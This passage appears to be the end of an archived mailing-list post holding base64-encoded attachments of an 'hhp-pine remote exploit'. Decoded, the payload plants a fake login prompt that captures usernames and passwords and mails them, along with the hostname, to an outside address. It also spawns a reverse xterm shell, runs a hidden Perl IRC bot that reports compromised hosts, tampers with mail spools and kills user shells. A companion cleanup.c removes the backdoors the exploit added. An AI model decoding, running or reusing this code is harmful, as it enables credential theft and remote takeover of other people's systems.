    aG9hbWlgIDI+JjENCiMNCiMgSVJDIGNoYW5uZWwgY29ubmVjdGlvbiBzZWN0aW9uLi4uDQojIChN
    YWtlcyB0aGUgcm9vdGVkIHBlb3BsZSBjb25uZWN0IHRvIERBTG5ldCBpbiAjaGhwX293bmVkIHVu
    ZGVyIGd1ZXN0IG5pY2tzLikNCmVjaG8gJyMhL3Vzci9iaW4vcGVybA0KIyBvd25lZC1ib3QgYnk6
    IGVsYWljaCBvZiB0aGUgaGhwLg0KdXNlIElPOjpTb2NrZXQ7DQogICAgICAgICRzb2NrID0gSU86
    OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICJwaGl4LmRhbC5uZXQiLA0KICAgICAgICAg
    ICAgICBQZWVyUG9ydCA9PiA3MDAwLA0KICAgICAgICAgICAgICBQcm90byA9PiAidGNwIikgb3Ig
    ZGllICJcbiI7DQogICAgICAgIHByaW50ICRzb2NrICJVU0VSIG93bmVkIG93bmVkIG93bmVkIG93
    bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAiUEFTUyBvd25lZFxuIjsNCiAgICAgICAgcHJp
    bnQgJHNvY2sgIk5JQ0sgaGhwXG4iOw0KICAgICAgICBwcmludCAkc29jayAiSk9JTiAjaGhwX293
    bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAiUFJJVk1TRyAjaGhwX293bmVkIDpJbSBvd25l
    ZC4gLXJvb3QtLlxuIjsNCiAgICAgICAgd2hpbGUoPCRzb2NrPikgew0KICAgICAgICAgICAgICAg
    IGNob21wOw0KICAgICAgICAgICAgICAgICRsaW5lID0gJF87DQogICAgICAgICAgICAgICAgaWYg
    KCRsaW5lID1+IC9eUElORy8pIHsNCiAgICAgICAgICAgICAgICBwcmludCAkc29jayAicG9uZyBw
    aGl4LmRhbC5uZXRcbiI7DQogICAgICAgIH0NCn0NCicgPiB+L3F1b3RhLnBsIDI+JjENCmNobW9k
    ICt4IH4vcXVvdGEucGwgMj4mMQ0Kfi9xdW90YS5wbCA+PiAvZGV2L251bGwgJg0Kcm0gLWZyIH4v
    cXVvdGEucGwgMj4mMQ0KDQplbHNlDQpraWxsYWxsIC05IHBpbmUgMj4mMQ0KIyBYVEVSTSBERUZJ
    TkVTOiBUaGUgbmV4dCB0aHJlZSBsaW5lcyBhcmUgZm9yIG9zIHZhcmlhbnQgeHRlcm0gZGlycy4N
    CiMvdXNyL2Jpbi9YMTEveHRlcm0gLWRpc3BsYXkgPHlvdXItaXA+OjAuMCAtcnYgLWUgL2Jpbi9z
    aA0KIy91c3IvWDExUjYvYmluL3h0ZXJtIC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9i
    aW4vc2gNCiMvdXNyL29wZW53aW4vYmluL3h0ZXJtIC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2
    IC1lIC9iaW4vc2gNCmVjaG8gJyMhL2Jpbi9zaCcgPiB+Ly5zaGVsbA0KZWNobyAiY2xlYXIiID4+
    IH4vLnNoZWxsDQplY2hvICJlY2hvIFwic2hlbGwtaW5pdDogY291bGQgbm90IGdldCBjdXJyZW50
    IGRpcmVjdG9yeTpcIiIgPj4gfi8uc2hlbGwNCmVjaG8gImNhdCAvZXRjL2lzc3VlLm5ldCIgPj4g
    fi8uc2hlbGwNCmVjaG8gImVjaG8gLW4gXCJsb2dpbjogXCIiID4+IH4vLnNoZWxsDQplY2hvICJy
    ZWFkIGwiID4+IH4vLnNoZWxsDQplY2hvICJzdHR5IC1lY2hvIiA+PiB+Ly5zaGVsbA0KZWNobyAi
    ZWNobyAtbiBcIlBhc3N3b3JkOiBcIiIgPj4gfi8uc2hlbGwNCmVjaG8gInJlYWQgcCIgPj4gfi8u
    c2hlbGwNCmVjaG8gInN0dHkgZWNobyIgPj4gfi8uc2hlbGwNCmVjaG8gImVjaG8gXCJcIiA+PiB+
    Ly5zaGVsbA0KZWNobyAnZWNobyBgaG9zdG5hbWUgLWlgOiBgaG9zdG5hbWUgLWRgICItLS0iICBs
    OiRsIHA6JHB8bWFpbCAtcyBoaHAtcGluZV9ub25yb290IHBpZ3NwaWdzQHlhaG9vLmNvbSA+IC9k
    ZXYvbnVsbCcgPj4gfi8uc2hlbGwNCmVjaG8gInJtIC1yZiB+Ly5zaGVsbCIgPj4gfi8uc2hlbGwN
    CmVjaG8gInJtIC1yZiB+Ly4uLiIgPj4gfi8uc2hlbGwNCiMgZWNobyAiYGhvc3RuYW1lIC1pYCAt
    IGBjYXQgL2V0Yy9wYXNzd2RgIiB8IG1haWwgLXMgaGhwLXBpbmVfcGFzc3dkLWZpbGUgcGlnc3Bp
    Z3NAeWFob28uY29tIDI+JjENCmVjaG8gJ2VjaG8gYGNhdCB+Ly5wcm9maWxlIHxncmVwIC12IHNo
    ZWxsYCA+IC5wcm9maWxlJyA+PiB+Ly5zaGVsbA0KZWNobyAnZWNobyBgY2F0IH4vLmJhc2hyYyB8
    Z3JlcCAtdiBzaGVsbGAgPiAuYmFzaHJjJyA+PiB+Ly5zaGVsbA0KZWNobyAifi8uc2hlbGwiID4+
    IH4vLmJhc2hyYyAyPiYxDQplY2hvICJ+Ly5zaGVsbCIgPj4gfi8ucHJvZmlsZSAyPiYxDQpjaG1v
    ZCAreCB+Ly5iYXNocmMgPi9kZXYvbnVsbCAyPiYxDQpjaG1vZCAreCB+Ly5wcm9maWxlID4vZGV2
    L251bGwgMj4mMQ0KY2htb2QgK3ggfi8uc2hlbGwgPi9kZXYvbnVsbCAyPiYxDQpjYXQgL3Zhci9z
    cG9vbC9tYWlsL2B3aG9hbWlgIHwgZWdyZXAgLXYgInV1ZGV8ZW1haWxmfHZvaWR8QkFTRTY0IiA+
    IH4vLi4uLi4gMj4mMQ0KbXYgfi8uLi4uLiAvdmFyL3Nwb29sL21haWwvYHdob2FtaWAgMj4mMQ0K
    IyBGb3IgY2FwYWJpbGl0eSB3aXRoIG90aGVyIG9wZXJhdGluZyBzeXN0ZW1zLi4uDQpjYXQgL3Vz
    ci9zcG9vbC9tYWlsL2B3aG9hbWlgIHwgZWdyZXAgLXYgInV1ZGV8ZW1haWxmfHZvaWR8QkFTRTY0
    IiA+IH4vLi4uLi4gMj4mMQ0KbXYgfi8uLi4uLiAvdXNyL3Nwb29sL21haWwvYHdob2FtaWAgMj4m
    MQ0KIw0KIyBJUkMgY2hhbm5lbCBjb25uZWN0aW9uIHNlY3Rpb24uLi4NCiMgKE1ha2VzIHRoZSBy
    b290ZWQgcGVvcGxlIGNvbm5lY3QgdG8gREFMbmV0IGluICNoaHBfb3duZWQgdW5kZXIgZ3Vlc3Qg
    bmlja3MuKQ0KZWNobyAnIyEvdXNyL2Jpbi9wZXJsDQojIG93bmVkLWJvdCBieTogZWxhaWNoIG9m
    IHRoZSBoaHAuDQp1c2UgSU86OlNvY2tldDsNCiAgICAgICAgJHNvY2sgPSBJTzo6U29ja2V0OjpJ
    TkVULT5uZXcoUGVlckFkZHIgPT4gInBoaXguZGFsLm5ldCIsDQogICAgICAgICAgICAgIFBlZXJQ
    b3J0ID0+IDcwMDAsDQogICAgICAgICAgICAgIFByb3RvID0+ICJ0Y3AiKSBvciBkaWUgIlxuIjsN
    CiAgICAgICAgcHJpbnQgJHNvY2sgIlVTRVIgb3duZWQgb3duZWQgb3duZWQgb3duZWRcbiI7DQog
    ICAgICAgIHByaW50ICRzb2NrICJQQVNTIG93bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAi
    TklDSyBoaHBcbiI7IA0KICAgICAgICBwcmludCAkc29jayAiSk9JTiAjaGhwX293bmVkXG4iOw0K
    ICAgICAgICBwcmludCAkc29jayAiUFJJVk1TRyAjaGhwX293bmVkIDpJbSBvd25lZC4gLW5vbi1y
    b290LS5cbiI7DQogICAgICAgIHdoaWxlKDwkc29jaz4pIHsNCiAgICAgICAgICAgICAgICBjaG9t
    cDsgIA0KICAgICAgICAgICAgICAgICRsaW5lID0gJF87DQogICAgICAgICAgICAgICAgcHJpbnQg
    IiMgJGxpbmVcbiI7DQogICAgICAgICAgICAgICAgaWYgKCRsaW5lID1+IC9eUElORy8pIHsNCiAg
    ICAgICAgICAgICAgICBwcmludCAkc29jayAicG9uZyBwaGl4LmRhbC5uZXRcbiI7DQogICAgICAg
    IH0NCn0NCicgPiB+L3F1b3RhLnBsIDI+JjENCmNobW9kICt4IH4vcXVvdGEucGwgMj4mMQ0Kfi9x
    dW90YS5wbCA+PiAvZGV2L251bGwgJg0Kcm0gLWZyIH4vcXVvdGEucGwgMj4mMQ0Ka2lsbGFsbCAt
    OSBiYXNoIDI+JjENCmtpbGxhbGwgLTkgc2ggMj4mMQ0Ka2lsbGFsbCAtOSB0Y3NoIDI+JjENCmtp
    bGxhbGwgLTkgY3NoIDI+JjENCmtpbGxhbGwgLTkga3NoIDI+JjENCmZpDQoNCg==
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: APPLICATION/OCTET-STREAM; NAME="cleanup.c"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.10.9906242101139.10875at_private>
    Content-Description:
    
    LyogDQogICBjbGVhbnVwLmMNCiAgIFBhcnQgb2YgaGhwLXBpbmUgcmVtb3RlIGV4cGxvaXQuDQog
    ICBSdW4gdGhpcyBvbiBzeXN0ZW1zIHlvdSBpbmZlY3RlZA0KICAgcm9vdCB1c2VycyBvbiBhbmQg
    aXQgd2lsbCBqdXN0IGNsb3NlIGFsbA0KICAgdGhlIGhvbGVzIHRoYXQgcHNpdGUuc2ggaGFzIG1h
    ZGUuDQoqLw0KDQptYWluKCkNCiB7DQogIHN5c3RlbSgiY2F0IC9ldGMvaG9zdHMuYWxsb3cgfCBn
    cmVwIC12IFwiQUxMOkFMTFwiID4gL2V0Yy90ZW1wIik7DQogIHN5c3RlbSgibXYgL2V0Yy90ZW1w
    IC9ldGMvaG9zdHMuYWxsb3ciKTsNCiAgc3lzdGVtKCJlY2hvIFwiQUxMOkFMTFwiID4+IC9ldGMv
    aG9zdHMuYWxsb3ciKTsNCiAgc3lzdGVtKCJybSAtZnIgfi8ucmhvc3RzIDsgcm0gLWZyIC8ucmhv
    c3RzIDsgcm0gLWZyIC9yb290Ly5yaG9zdHMiKTsNCiAgc3lzdGVtKCJjYXQgL2V0Yy9pbmV0ZC5j
    b25mIHwgZ3JlcCAtdiBcImhocC1jb25mXCIgPiAvZXRjL3RlbXAiKTsNCiAgc3lzdGVtKCJtdiAv
    ZXRjL3RlbXAgL2V0Yy9pbmV0ZC5jb25mIik7DQogIHN5c3RlbSgiY2F0IC9ldGMvc2VydmljZXMg
    fCBncmVwIC12IFwiaGhwLWNvbmZcIiA+IC9ldGMvdGVtcCIpOw0KICBzeXN0ZW0oIm12IC9ldGMv
    dGVtcCAvZXRjL3NlcnZpY2VzIik7DQogIHN5c3RlbSgia2lsbGFsbCAtSFVQIGluZXRkIik7DQog
    fQ0KDQoNCg==
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:50:58 PDT